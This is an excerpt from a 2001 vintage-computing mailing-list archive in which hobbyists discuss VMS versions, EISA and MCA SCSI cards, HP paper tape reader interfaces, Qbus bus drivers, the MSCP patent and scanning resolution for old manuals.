to enable it in the configs >> >and have the services start at boot time. (They even can run out of >> >inetd.conf.) >> >> But was it shipped with a telnet daemon in the box? >Yup it shipped with it in c:\tcpip\bin, I think. In that case I stand corrected. >> And why wouldn't it run out of inetd.conf, isn't that standard behaviour? >It would... or you could run it as a detached background job without >inetd -- like doing telnetd & Yes, that's the other way to launch a d?mon AFAIK. >IIRC -- all configurable and it could use a Unix like password file... so a >little cut and paste and you had telnet and ftp services like a linux box. >(and time and echo and all the little TCP/IP servers were there...) Doesn't every box? Then again, I suppose that NT stems from the time when M$ thought that the Internet was not their thing, not with M$N around. =) -- En ligne avec Thor 2.6a. Goto: A programming tool that exists to allow structured programmers to complain about unstructured programmers. From ard at p850ug1.demon.co.uk Fri Jun 29 19:18:17 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:05:06 2005 Subject: HP2748A papertape reader : connector ? In-Reply-To: <002b01c1015e$307349a0$7c8953d1@jay> from "Jay West" at Jun 30, 1 07:14:17 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2102 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010630/4a405325/attachment.ksh From Lee.Davison at merlincommunications.com Fri Jun 29 19:30:43 2001 From: Lee.Davison at merlincommunications.com (Davison, Lee) Date: Sun Feb 27 19:05:06 2005 Subject: preserving / ressurecting old docs? Message-ID: <707AA588EE28D311BCD50090276D7D0007A2B1@BUSH02> > > Scanning printed material much above 150dpi is usually a waste > > as most printing is done at about 70dpi. > > What are you smoking, and is there enough for the rest of us? > We're talking old manuals here. Remember? OLD manuals. > 600 Dpi with resolution enhancement is very old technology > for laserprinters > Nobody, commercially, makes books on laserprinters. > If you can manage it, i would say scan at 600 Dpi. > Waste of time, effort and storage space. > scanning at 1/2 the target printer resolution is probably > the best you can hope for. > Scanning at just over twice the source resolution is the best you will ever get. More than that's a waste. Lee. ---------------------------------------------------------------------------- ---- This email is intended only for the above named addressee(s). The information contained in this email may contain information which is confidential. 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From healyzh at aracnet.com Fri Jun 29 19:46:48 2001 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 19:05:06 2005 Subject: 'Good' versions of VMS In-Reply-To: <5.0.0.25.2.20010629153648.02373e40@209.185.79.193> from "Chuck McManis" at Jun 29, 2001 03:44:10 PM Message-ID: <200106300046.f5U0kme05423@shell1.aracnet.com> > But that isn't really the point of this message. The point was made on a > previous note about a ConDist set that it had VMS 6.0 which wasn't a "good" > version of VMS because it was fairly buggy. That made me wonder if we could > come to a concensus on what "good" VMS releases were out there? Currently all my VAXen are at V7.2 and I'm moving my Alpha's to V7.2-1H1 (with plans to move to V7.2-2 once it's available). Obviously part of what it takes to have a "good" release is to have all the patches that you can applied, and to keep current with what patches are available. Compaq has a mailing list you can join for this. Trust me it's worth it. What I've not been able to find is a list of recommended patches for specific release, which is unfortunate as that would save a person a lot of trouble. Once V7.3-1 is out, then I'll consider moving past V7.2-x. > I happen to like VMS 5.5-2H4 which was, I believe, the last release in the > 5.x line and thus pretty darn stable. It runs on pretty much every VAX and > uses the "Modern" license management facility that the Hobbyiest licenses > conform to. There is also a lot of software that runs on "5.5 and above" so > that is good too. Finally its the last release that calls itself VAX VMS > (rather than OpenVMS) which gives it a wonderful classic like feel. One question. Where on earth did you get V5.5-2H4? I'm not 100% sure you can even get V5.5-2 out of the Hobbyist V1 CD (if you're lucky enough to have it). At the moment I've got one VAXstation 3100 on V5.5, but want to replace it with a VAXstation 4000/60 running V5.5-2 (or V5.5-2H4 if possible). Isn't V5.5-2H4 the Y2k update? > Then there is VMS 6.x, of which I've got images for 6.1 and 6.2 (no 6.0 but > I opted to pass on the ConDist as well). Is there a release after 6.2 that > sits between it and the 7.x release? Given the shortness between 7.0 and > 7.1 I'm going to guess that 7.0 had some serious issues and 7.2 which is > running on the VLC cluster seems quite stable. (using a patched UCX). There are definite advantages to V6.2 in that you can a mixed verson/architecure cluster with one of the following V6.2, V7.1, and V7.2. Based both on the documentation and my personal experience V5.5 and 7.2 can't be mixed in a cluster (very, very bad things happen when this is attempted). V7.0 = Avoid V7.1-2/Alpha & V7.1/VAX = OK V7.2-1H1/Alpha & V7.2/VAX = OK V7.3 = To new for me to try and I'm a hobbyist! > Thoughts? What was the best V4.x release? V3? Does anyone have VMS 1.x and > if so what processors does it support? As I recall on the 780 at school it > looked a _lot_ like RSX-11M+ :-) Unless I'm mistaken V1 probably only supports the VAX-11/780, and through V3 I'd guess only the VAX-11/7xx family is supported (in fact I believe this is probably true for early V4 releases). Oh, and as for anyone having V1, the question is, not only does anyone have it, does anyone have the doc's. There was a survey about a year ago, and about the oldest anyone had was V2 or V3 of the Doc sets. As for V4.x which is supported on a wider range of processors (including, IIRC, some 3100's) the trick is getting it. Something else to consider. If you're running a MicroVAX II then V7.2 is where you stop. With a VAX-11/725 you stop at V5.1 (or maybe V5.1-1, with the rest of the VAX-11/7xx family, the VAXft family and the MicroVAX I you stop at V6.2. It appears that V7.3 won't be the final stopping point for any systems, at least I've been unable to find such information in the V7.3 SPD. Something else you might have figured out, the Alpha gets releases which roll up all the patchs, the VAX doesn't anymore. In about 4-5 years it's safe to assume that the Alpha will be in the same state, and that the Itanium releases will be getting all the attention. Zane From healyzh at aracnet.com Fri Jun 29 19:56:24 2001 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 19:05:06 2005 Subject: preserving / ressurecting old docs? In-Reply-To: <707AA588EE28D311BCD50090276D7D0007A2B1@BUSH02> from "Davison, Lee" at Jun 30, 2001 01:30:43 AM Message-ID: <200106300056.f5U0uOq05914@shell1.aracnet.com> > Nobody, commercially, makes books on laserprinters. Bull****! You'll find that the requirement for a camera ready copy is that they're printed out at 1000dpi or better. Furthermore you'll find that there are in fact books sold that are totally done on Laserprinter and or Xerox machines. A better statement is that no one in their right mind does up a book in WordPerfect for Windows V5.2! Thereby necessitating providing thier own camera ready copy! Zane From bshannon at tiac.net Fri Jun 29 20:14:58 2001 From: bshannon at tiac.net (Bob Shannon) Date: Sun Feb 27 19:05:06 2005 Subject: Whats a reasonable collection? References: <01Jun28.135141edt.119147@gateway.mediacen.navy.mil> <3B3BC24E.D28EDC94@tiac.net> Message-ID: <3B3D2811.28C86264@tiac.net> I'll have to drag out my documentation from NEC, I used to work in the Integration and Test department back when they made the A74T server systems. These are EISA boxes, often using the DPT 2012 bus matering boards. On the NEC systems, there is a 128 bit data path to main memory, and EISA bus masters can make burst cycles directly over this bus, bypassing a lot of the usual congestion of early PCI machines. I don't want to guess at the physical EISA clock without looking it up first, but the speed changes when EISA mode transfers control the bus. Jeff Hellige wrote: > >Oh no, EISA cranks out speed, if you have the right boards. > >EISA bus mastering boards can blast 32 bit data directly into RAM > >using a seperate data path in the chipset. > > What was the bus actually clocked at? I was always under the > impression that with non-bus mastering EISA cards that the additional > speed increase over ISA was just due to the added bus width. Or is > it only clocked at the clock of the ISA bus when an ISA card is > inserted into an EISA slot? > > I think I still have a few EISA SCSI boards. Now I'm curious > as to their specs. > > Jeff > -- > Collector of Classic Microcomputers and Video Game Systems: > Home of the TRS-80 Model 2000 FAQ File > http://www.geocities.com/siliconvalley/lakes/6757 From cmcmanis at mcmanis.com Fri Jun 29 20:11:58 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:05:06 2005 Subject: 'Good' versions of VMS In-Reply-To: <200106300046.f5U0kme05423@shell1.aracnet.com> References: <5.0.0.25.2.20010629153648.02373e40@209.185.79.193> Message-ID: <5.0.0.25.2.20010629180917.0226c2e0@209.185.79.193> >One question. Where on earth did you get V5.5-2H4? I'm not 100% sure you >can even get V5.5-2 out of the Hobbyist V1 CD (if you're lucky enough to >have it). At the moment I've got one VAXstation 3100 on V5.5, but want to >replace it with a VAXstation 4000/60 running V5.5-2 (or V5.5-2H4 if >possible). Isn't V5.5-2H4 the Y2k update? I've got a pair of TK50's that have the 5.5-2H4 release on them. Not sure where they came from. >As for V4.x which is supported on a wider range of processors (including, >IIRC, some 3100's) the trick is getting it. I've got several versions of 4.x on TK50. >Something else to consider. If you're running a MicroVAX II then V7.2 is >where you stop. With a VAX-11/725 you stop at V5.1 (or maybe V5.1-1, with >the rest of the VAX-11/7xx family, the VAXft family and the MicroVAX I you >stop at V6.2. It appears that V7.3 won't be the final stopping point for >any systems, at least I've been unable to find such information in the V7.3 >SPD. That is very good info. If I ever get a MicroVAX I for da House I'll put 6.2 on it. --Chuck From bshannon at tiac.net Fri Jun 29 20:16:42 2001 From: bshannon at tiac.net (Bob Shannon) Date: Sun Feb 27 19:05:06 2005 Subject: WTB: 8" floppy References: Message-ID: <3B3D287A.BDDB2103@tiac.net> I've got your drives! Want an EISA box with those? Jeff Hellige wrote: > I've resigned myself to the need to eventually get an 8" > floppy set up, preferably DSDD, such as the Qume DT-8 or Shugart > SA851. Does anyone have a pair of drives they'd be willing to sell? > It'd be nice if they were already in a cabinet, as it'd save me a bit > of work, but I'd be open to bare drives as well. > > Thanks > Jeff > -- > Collector of Classic Microcomputers and Video Game Systems: > Home of the TRS-80 Model 2000 FAQ File > http://www.geocities.com/siliconvalley/lakes/6757 From cmcmanis at mcmanis.com Fri Jun 29 20:15:08 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:05:06 2005 Subject: Unibus / Qbus bus drivers and receivers In-Reply-To: <1226.581T2400T1246337optimus@canit.se> References: <5.0.0.25.2.20010629140157.030dbb10@209.185.79.193> Message-ID: <5.0.0.25.2.20010629181208.0226bd20@209.185.79.193> At 02:04 AM 6/30/01 +0100, Iggy wrote: >So, what makes MSCP so particular that it may be patented? >And how come people can write emulators and clones all over the place? Haven't >Intel or Motorola patents on their processors? Who knows? Only the patent office I suppose. It was a mass storage protocol that DEC invented and some patent examiner said "Yup, this is good stuff." The Microprocessor was also patented but that patent has expired. Most of the emulators/clones on DEC gear do _not_ include MSCP support. Getting it is a challenge. Intel and Motorola have copyrights on their Microcode and patents and various aspects of their processors but as a whole they aren't. I believe all of Intel's chipsets are patented in one form or another which prevents non-licensees from building them. --Chuck From pechter at bg-tc-ppp1569.monmouth.com Fri Jun 29 20:14:14 2001 From: pechter at bg-tc-ppp1569.monmouth.com (Bill Pechter) Date: Sun Feb 27 19:05:06 2005 Subject: 'Good' versions of VMS In-Reply-To: <5.0.0.25.2.20010629153648.02373e40@209.185.79.193> from Chuck McManis at "Jun 29, 2001 03:44:10 pm" Message-ID: <200106300114.f5U1EEx21405@bg-tc-ppp1569.monmouth.com> > Thoughts? What was the best V4.x release? V3? Does anyone have VMS 1.x and > if so what processors does it support? As I recall on the 780 at school it > looked a _lot_ like RSX-11M+ :-) > > --Chuck > I worked on v2.0-v3.6 at DEC and 4.2 or so after leaving them. The versions 1.x were mostly compatibility mode utilities. 2.0 was buggy... I seem to remember a quick upgrade to 2.2 or so was more stable. I remember 3.2 as pretty good and 3.2-3.4 less so if you were trying to use the new hardware HSC's, RA81's and stuff. 3.5 and 3.6 were very stable... on 11/7xx boxes and 8600's. Clusters were new and tricky but useable at 3.6. Clusters got good by 4.2 This is my best field service memory from almost 20 years ago. 1981-86. Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.dyndns.org From bshannon at tiac.net Fri Jun 29 20:24:42 2001 From: bshannon at tiac.net (Bob Shannon) Date: Sun Feb 27 19:05:06 2005 Subject: Free Thinking Machines CM-5 References: Message-ID: <3B3D2A5A.9078A645@tiac.net> What a shame. I worked on the CM-1. Now that was a machine, custom processors, etc! The later machines were just boxes full of sparks, errr, SPARCs... William Donzelli wrote: > Well, one cabinet of a CM-5. Stripped, too. Basically, it is somewhat like > three standard 19" racks welded together. About 7 feet tall. Heavy as sin. > No skins. Interesting provenence - it was one of the two machines used in > Jurrasic Park. The blinkenlights panels will be removed to populate (and > the extras to pay for) another CM-5. > > Located in either Providence, RI (if you pick it up *really* soon), or > Carmel, NY. > > William Donzelli > aw288@osfn.org From bshannon at tiac.net Fri Jun 29 20:25:49 2001 From: bshannon at tiac.net (Bob Shannon) Date: Sun Feb 27 19:05:06 2005 Subject: Whats a reasonable collection? References: Message-ID: <3B3D2A9D.A5FFCBE9@tiac.net> I've got EISA SCSI controllers you can have for free... (And you could not pay me to take a MCA device) mjsnodgr@rockwellcollins.com wrote: > I've got a MCA SCSI controller that I'm not using. It came to me in a box > of MCA and EISA stuff and was working when it was pulled from it's machine. > I was hoping to get an EISA SCSI controller.. Hmmm... if anyone in > interested in a swap.... > > - Micah S. > mjsnodgr@rockwellcollins.com > > SUPRDAVE@aol.com@classiccmp.org on 06/28/2001 02:49:20 PM > > Please respond to classiccmp@classiccmp.org > > Sent by: owner-classiccmp@classiccmp.org > > To: classiccmp@classiccmp.org > cc: > > Subject: Re: Whats a reasonable collection? > > In a message dated 6/28/01 1:46:05 PM Central Daylight Time, > mikeford@socal.rr.com writes: > > << >Only thing I don't like is a lack of fast SCSI cards. I have all kinds > >of good scsi cards for my EISA computer, but not my Microchannel. I > > SCSI MCA cards are so common in the systems I find I don't bother to keep > them anymore. Want to explain the above so I understand what to look for? > >> > > there's plenty to choose from, scsi with or without cache, or you can even > get some of the better scsi controllers out of the 9595 models. I have > several non IBM MCA SCSI adaptors which Ive installed in some pre-existing > SCSI-equipped PS2s just so I have a standard external connector to work > with. > Those IBM external cables are getting hard to find. From cmcmanis at mcmanis.com Fri Jun 29 20:24:26 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:05:06 2005 Subject: preserving / ressurecting old docs? In-Reply-To: <707AA588EE28D311BCD50090276D7D0007A2B1@BUSH02> Message-ID: <5.0.0.25.2.20010629181639.021bbeb0@209.185.79.193> At 01:30 AM 6/30/01 +0100, Lee wrote: > > > Scanning printed material much above 150dpi is usually a waste > > > as most printing is done at about 70dpi. > > > > What are you smoking, and is there enough for the rest of us? > > >We're talking old manuals here. Remember? OLD manuals. 70 DPI would be something like a 9 pin dot matrix printer. True, some manuals were that poor but certainly not a majority of them. Many old manuals were photo-typeset and then offset printed. > > 600 Dpi with resolution enhancement is very old technology > > for laserprinters > > >Nobody, commercially, makes books on laserprinters. You see "nobody" defines the empty set, and that is patently untrue as to risk making all other statements you offer to be rejected out of hand. Laser printers, known as "digital printers" in the publishing world, are used for short run publications (less than say 2,500 copies) and they are not uncommon. > > If you can manage it, i would say scan at 600 Dpi. > > >Waste of time, effort and storage space. Hmmmm. > > scanning at 1/2 the target printer resolution is probably > > the best you can hope for. > > >Scanning at just over twice the source resolution is the best you >will ever get. More than that's a waste. If a manual was phototypeset on a CAT phototypesetter (most popular phototypesetter in the publishing industry in the mid 70's.) then the resolution is 2000dpi (they spec it in lines/millimeter but my recollection is that it was about 2000lines/inch after conversion) so those manuals should be scanned at 4800 dpi right? Basically, I think you may be mistaken on a few of your numbers. --Chuck From paul at orchard.wccnet.org Fri Jun 29 20:22:03 2001 From: paul at orchard.wccnet.org (Paul R. Santa-Maria) Date: Sun Feb 27 19:05:06 2005 Subject: Micro Cornucopia auction In-Reply-To: Message-ID: Because of the interest, I have decided to hold a sealed bid auction for the complete set of Micro Cornucopia magazines. Every issue from #1 (July 1981, 16 pages) to #53 (May 1990, 96 pages) is here. The subheading started out "Journal of the Big Board Users", changed with #7 to "The Single Board Systems Journal", and finally changed with #23 to "The Micro Technical Journal". Topics covered included software--BASIC, Pascal, C, Forth, Smalltalk, Prolog, Wordstar, dBase II, CP/M, MS-DOS, and much more--and hardware--memory upgrades, EPROM erasers, a logic analyzer, video circuitry, even a complete Nat Semi 32000 chip set computer with circuit diagrams. The early issues have almost exclusively Big Board, CP/M, and Z80 content. The final issues have almost exclusively MS-DOS PC content. In the middle there is an incredible variety of hard-core technical articles. Almost all the issues are perfect. The early issues I purchased as back issues so they do not even have mailing labels on them. Issue 21, December-January 1985, has "Sample for Microsystems Readers" printed in red on the front; Micro Cornucopia was trying to pick up subscribers from Sol Libes' magazine that folded. That was my first issue and every issue from #21 on has mailing labels on them. Issue 29 is damaged; it appears that this one was on the end of a bundle--the cover is scuffed and there are small tears at the top and bottom from the binding strap. End of auction is Friday 6 July 2001 at 8pm. Send bids to paul@wccnet.org. Highest bidder wins (duh!). Payment is by check or money order and must be received within 30 days (6 August) of auction end. Shipping costs are IN ADDITION to the bid amount. I can ship via US Mail or UPS. The magazines weigh about 24 pounds and would cost about $9 to ship USPS Media Mail without insurance. Shipping is from Monroe, Michigan 48161. No shipping charges if you pick it up, of course. I will repost this notice on Monday and Thursday. Paul R. Santa-Maria Monroe, Michigan USA paul@wccnet.org From bshannon at tiac.net Fri Jun 29 20:33:06 2001 From: bshannon at tiac.net (Bob Shannon) Date: Sun Feb 27 19:05:06 2005 Subject: HP2748A papertape reader : connector ? References: Message-ID: <3B3D2C52.3694A18@tiac.net> Tony Duell wrote: > > > > The 2748A/B paper tape reader uses the "8-bit duplex register interface". > > That would lead me to believe it's an 8 bit interface, not a 16 bit one. > > OK.... On later machines, all HP provided were 16 bit interfaces (like > the 98032), and you used 8 of the data lines for paper tape input, I guess. This is incorrect! The HP tape reader uses a HP tape reader board that is unique, it is NOT the HP 8 bit duplex register board. If need be, I can run downstairs and get the acutal part number. I've jsut recently gotten my 2114A booting HP basic from my new HP paper tape reader emulator hardware. I'm pretty familiar with the tape reader interfaces. What I need, are the pin-outs for my old Decitek tape reader! From dittman at dittman.net Fri Jun 29 20:35:33 2001 From: dittman at dittman.net (Eric Dittman) Date: Sun Feb 27 19:05:06 2005 Subject: 'Good' versions of VMS In-Reply-To: <200106300046.f5U0kme05423@shell1.aracnet.com> from "healyzh@aracnet.com" at Jun 29, 2001 05:46:48 PM Message-ID: <200106300135.f5U1ZXG20261@narnia.int.dittman.net> > Currently all my VAXen are at V7.2 and I'm moving my Alpha's to V7.2-1H1 > (with plans to move to V7.2-2 once it's available). Obviously part of what > it takes to have a "good" release is to have all the patches that you can > applied, and to keep current with what patches are available. Compaq has a > mailing list you can join for this. Trust me it's worth it. What I've not > been able to find is a list of recommended patches for specific release, > which is unfortunate as that would save a person a lot of trouble. That's why I like having a DSNLINK account. I can look at all the patches and see the installation ratings and notes. > Once V7.3-1 is out, then I'll consider moving past V7.2-x. I've loaded V7.3 on the Charon VAX emulator, and it went pretty smooth, but I'll not try to roll out V7.3 on the production VAX systems at work until there's a good reason. For the Alphas I'm with you on waiting for V7.3-1. > > I happen to like VMS 5.5-2H4 which was, I believe, the last release in the > > 5.x line and thus pretty darn stable. It runs on pretty much every VAX and > > uses the "Modern" license management facility that the Hobbyiest licenses > > conform to. There is also a lot of software that runs on "5.5 and above" so > > that is good too. Finally its the last release that calls itself VAX VMS > > (rather than OpenVMS) which gives it a wonderful classic like feel. > > One question. Where on earth did you get V5.5-2H4? I'm not 100% sure you > can even get V5.5-2 out of the Hobbyist V1 CD (if you're lucky enough to > have it). At the moment I've got one VAXstation 3100 on V5.5, but want to > replace it with a VAXstation 4000/60 running V5.5-2 (or V5.5-2H4 if > possible). Isn't V5.5-2H4 the Y2k update? I'm pretty sure I have V5.5-2 on CD. I seem to remember V5.5-2H4 was only shipped with processors that needed the support, since the "H" releases are hardware releases, not patch releases. > > Then there is VMS 6.x, of which I've got images for 6.1 and 6.2 (no 6.0 but > > I opted to pass on the ConDist as well). Is there a release after 6.2 that > > sits between it and the 7.x release? Given the shortness between 7.0 and > > 7.1 I'm going to guess that 7.0 had some serious issues and 7.2 which is > > running on the VLC cluster seems quite stable. (using a patched UCX). > > There are definite advantages to V6.2 in that you can a mixed > verson/architecure cluster with one of the following V6.2, V7.1, and V7.2. > Based both on the documentation and my personal experience V5.5 and 7.2 > can't be mixed in a cluster (very, very bad things happen when this is > attempted). > > V7.0 = Avoid > V7.1-2/Alpha & V7.1/VAX = OK > V7.2-1H1/Alpha & V7.2/VAX = OK > V7.3 = To new for me to try and I'm a hobbyist! If you have a choice between V7.1 and V7.2 on a VAX go with V7.2. For mixed version clusters Compaq does support running two different versions, but only in a migration setting. Of course, lots of places have been running in long-term migration for a while without any problems. Just don't try to mix three different versions in a cluster, as that can cause some problems. BTW, V7.3 finally adds support for booting a VMS environment from the CDROM for the VAX just like the Alpha. Booting SYS0 on the CD loads SA BACKUP, and booting SYS1 boots VMS. > > Thoughts? What was the best V4.x release? V3? Does anyone have VMS 1.x and > > if so what processors does it support? As I recall on the 780 at school it > > looked a _lot_ like RSX-11M+ :-) > > Unless I'm mistaken V1 probably only supports the VAX-11/780, and through V3 > I'd guess only the VAX-11/7xx family is supported (in fact I believe this is > probably true for early V4 releases). > > Oh, and as for anyone having V1, the question is, not only does anyone have > it, does anyone have the doc's. There was a survey about a year ago, and > about the oldest anyone had was V2 or V3 of the Doc sets. > > As for V4.x which is supported on a wider range of processors (including, > IIRC, some 3100's) the trick is getting it. When Tim Stark's VAX emulation is ready I want to get a copy of V1.x just to play with it, since it's been a long time since I've seen it running. > Something else to consider. If you're running a MicroVAX II then V7.2 is > where you stop. With a VAX-11/725 you stop at V5.1 (or maybe V5.1-1, with > the rest of the VAX-11/7xx family, the VAXft family and the MicroVAX I you > stop at V6.2. It appears that V7.3 won't be the final stopping point for > any systems, at least I've been unable to find such information in the V7.3 > SPD. V7.3 seems to have support for the MicroVAX II: $ write sys$output f$getsyi("HW_NAME") MicroVAX II $ write sys$output f$getsyi("VERSION") V7.3 Check the SPD for supported systems: http://www.compaq.com/info/SP2501/SP2501PF.PDF They list the MicroVAX II in both the supported and unsupported list. I'm curious now as to whether which list is correct. I guess I'll ask on comp.os.vms. V7.3 is the last version for quite a few VAX systems. (listed in the SPD). -- Eric Dittman dittman@dittman.net From bshannon at tiac.net Fri Jun 29 20:46:43 2001 From: bshannon at tiac.net (Bob Shannon) Date: Sun Feb 27 19:05:06 2005 Subject: HP2748A papertape reader : connector ? References: <005301c10138$82f0cca0$7c8953d1@jay> Message-ID: <3B3D2F82.2A3B1A15@tiac.net> This is interesting! I have never seen a 2748 interfaced to a 8-bit duplex register board. This would take a special cable, quite different from my reader cable. The HP tape reader board I've always seen connected to the photo tape readers is P/N 02116-8002. Its simply labelled "Tape Reader", and has a two row of 11 DIP packages, 8 two-transistor data receivers, and a 7 transistor driver-receiver section for flag and control. Because the HP processor has no need to send data to the reader, the more complex and expensive 8 bit duplex register is overkill. But the signal levels may be correct, if you have the right version of the duplex register board... The HP Tape Reader 02116-8002 board can only send the state of the control bit to the 2748 (or 2847) reader. It accepts 8 data bits on pins 1-4 and A-D, which is not compatible with the 8-bit duplex registers pin assignments. Jay West wrote: > The 2748A/B paper tape reader uses the "8-bit duplex register interface". > That would lead me to believe it's an 8 bit interface, not a 16 bit one. > > I have full docs (& schematics I believe) for both the 2748B and the 8-bit > duplex register interface board. I have two of those units presently > running, so I can get the cable pinout too if you'd like (but I believe the > cable diagram is in the interface manual). Let me know if you still need > them. > > One word of caution about the facit 4070 punch... as I found out when I got > mine - the facit had a board in it that was replaced depending on what > electrical spec the system you were attaching it to used. I seem to recall > that you had to specify which (of many) interfaces you wanted on the punch > when you ordered it. So just because you find a 4070 punch doesn't mean it > has the right board in it to hook up to the 8-bit duplex register board (hp > punches and readers both used the 8-bit duplex register board). Matter of > fact, unless it was found with an HP system, it probably DOESN'T have the > right board for the HP. You can't tell from the outside either, as I've seen > the RS-232 interface board in the punch presents a DB25 externally - just > the same as the HP version of the card does (which is decidedly NOT RS-232). > > Jay West > > ----- Original Message ----- > From: Tony Duell > To: > Sent: Friday, June 29, 2001 12:41 PM > Subject: Re: HP2748A papertape reader : connector ? > > > > > > > At 09:22 PM 6/28/01 +0200, you wrote: > > > > > > >A recent dumpster dive yielded a HP2748A papertape reader. Does anyone > have > > > >the interface spec's for this device handy ? > > > > > > > > > I think *some* of HP's paper tape punches and readers use the > 82032 > > > parallel interface. It's a 16 bit parallel interface with several > > > > > > I suspect this is highly likely since the 16 bit parallel interfaces, > > like the 82032, 98032 (for the 9825, etc) were used for many > character-based > > (and other) peripherals. > > > > > additional handshaking lines. Each data line can be set as Input only, > > > > I would be suprised if a paper tape reader used all the capabilities of > > that interface, though. Most likely there are 8 outputs from the tape > > reader (1 per data track), a data strobe signal (produced from the > > sprocket track, and either an input signal to cause the reader to advance > > one character (and read it) or one to start the tape moving, whereupon > > you get data strobes every so many ms. Maybe signals for error (tape run > > out, etc) and direction control > > > > There's not that much you need for a paper tape reader after all... > > > > > Output only or In and Out. I think have one around here somewhere that > came > > > off of a PT punch. You should have grabbed the PT punch, I think the > Facit > > > is what HP used or perhaps I should say one of the ones that they > > > > The Facit 4070 is what _everyone_ used :-). Yes, HP used it for a time > > (one of the options for the 98032 is certainly to connect to a 4070, and > > it was used with larger machines as well). So did Philips (on the P800 > > series). I've got a 3rd party card to link it to the DEC Unibus, and > > information on a similar card for Omnibus. Oh, and my Fluke DVM system > > has an option card to drive the 4070. > > > > I've even seen other paper tape punches (Trend made one based on the GNT > > Model 34 mechanism) that have the same interface. The 4070 was almost a > > de facto standard for paper tape punches. > > > > > used. What kind of connector is on your PT reader? I think most of > the > > > > If its's the unit I'm thinking of, it's a connector similar to the ones > > used for V.35 interfaces. > > > > -tony > > > > From vaxman at qwest.net Fri Jun 29 20:41:14 2001 From: vaxman at qwest.net (Clint Wolff (VAX collector)) Date: Sun Feb 27 19:05:06 2005 Subject: Unibus / Qbus bus drivers and receivers In-Reply-To: <3B3BF637.59F1B477@pacbell.net> Message-ID: I haven't seen the correct answer to this, so... You need to limit the edge rate to prevent ringing on the bus. Note, ringing will show up in different forms on EVERY board in the system, not just the one you are designing. Draw two square waves on a the top edge of two pieces of paper (one each). Now, slide the two relative to each other and think about what the sum of them would look like. Somplaces you get double amplitude, other places you get negative amplitude. This is ringing. It is bad. The best solution is to use an edge rate limited chip. DEC doesn't make them anymore, but you might be able to remove them from an old DHV11 that nobody wants (they show up on ebay occasionally for next to nothing and don't sell). Otherwise, a small resistor in series with the output of the gate will slow the transition down. Here is the right way to do it: 1) Find or calculate the source resistance of the driver. tau = RC 2.3 * tau is approximately 90% charge (or 90% voltage) or 2.3 * tau ~= 9nS so, Rpin ~= (9ns / Cpin) (C in Farads, R in Ohms) [ Is that right? as C goes up, R goes down... Okay ] 2) Look at the capacitance spec for the bus (I'll call them Cmin and Cmax), and calculate the new resistor (Rnew) 10ns = 2.3 * (Rpin + Rnew) * (Cmin + Cpin) Tmax = 2.3 * (Rpin + Rnew) * (Cmax + Cmin) [ bigger R or bigger C make rise time worse ] Regards, Clint On Thu, 28 Jun 2001, Michael Davidson wrote: > I am just about to embark upon designing a small qbus interface > card, and am trying to work out what to use for bus drivers and > receivers. > > The 8641 quad bus transceiver is still available, but it appears > that the 8640, 8881, 8131 and 8837 are all obsolete and out of > production. > > I was tempted to use a pair of DS3862 octal bus transceivers since > I want an internal tri-state bus on the card, but it looks as if > the rise and fall times on the drivers are just a little fast > (nominal 9ns compared to a minimum of 10ns according to the qbus spec). > It would be really convenient to use these parts since it would > help to keep the chip count down - any opinions on whether the faster > rise/fall time would really be a problem in a small single backplane > system? > > Also any suggestions for substitutes for bus drivers and receivers? > I seem to remember the 7438 being capable of sinking enough current > to drive a 120 ohm bus line effectively, but I'm not sure. > > (or, even better - anyone got a DCK11 chipset they would be willing > to part with?) > > From vaxman at qwest.net Fri Jun 29 20:53:24 2001 From: vaxman at qwest.net (Clint Wolff (VAX collector)) Date: Sun Feb 27 19:05:06 2005 Subject: Unibus / Qbus bus drivers and receivers In-Reply-To: <5.0.0.25.2.20010629181208.0226bd20@209.185.79.193> Message-ID: On Fri, 29 Jun 2001, Chuck McManis wrote: > At 02:04 AM 6/30/01 +0100, Iggy wrote: > >So, what makes MSCP so particular that it may be patented? > >And how come people can write emulators and clones all over the place? Haven't > >Intel or Motorola patents on their processors? > The patent protects a very specific portion of the idea, and all possible implementations of that portion. A microprocessor isn't patentable. A nifty way of using a stack for floating point registers is patentable (one of Intel's '387 patents, IIRC). That is why the Weitek math coprocessor wasn't very popular. It was different from the '387. You can't get a patent on something that is in the public domain, or has shipped in a commercial product (even your own). You can't get a patent on anything published, so most of the technology from schools is available for free, though many are starting to create their own patent portfolio for additional revenue. You can't get a patent on anything the government paid to help develop. You can get a patent on stupid stuff if you are lucky and the examiner isn't skilled in the art. The Y2K fix of adding an offset to the year is a good example. Anyway... The MSCP patent basically covers a single bit that indicates a buffer is available for use. This is to allow different rate things to fill and empty buffers independent of each other. At the time, this was a novel and patentable concept (as opposed to ring buffers that can only be filled and emptied sequentially?), and MSCP isn't implementable without it. DEC licensed the patent to anyone who wanted for $100 a board, and Emulex, Dilog, and others STILL made a profit on aftermarket boards. DEC learned(?) from this and wouldn't license a later bus (VAXBI?), so Emulex and Dilog were limited to purchasing the cheapest board DEC made, removing the bus interface chips, and installing them on their own boards. and STILL made a profit. Regards, Clint > Who knows? Only the patent office I suppose. It was a mass storage protocol > that DEC invented and some patent examiner said "Yup, this is good stuff." > The Microprocessor was also patented but that patent has expired. Most of > the emulators/clones on DEC gear do _not_ include MSCP support. Getting it > is a challenge. Intel and Motorola have copyrights on their Microcode and > patents and various aspects of their processors but as a whole they aren't. > I believe all of Intel's chipsets are patented in one form or another which > prevents non-licensees from building them. > > --Chuck > > > > From healyzh at aracnet.com Fri Jun 29 20:58:43 2001 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 19:05:06 2005 Subject: 'Good' versions of VMS In-Reply-To: <5.0.0.25.2.20010629180917.0226c2e0@209.185.79.193> from "Chuck McManis" at Jun 29, 2001 06:11:58 PM Message-ID: <200106300158.f5U1whg08235@shell1.aracnet.com> > I've got a pair of TK50's that have the 5.5-2H4 release on them. Not sure > where they came from. Ah. > >As for V4.x which is supported on 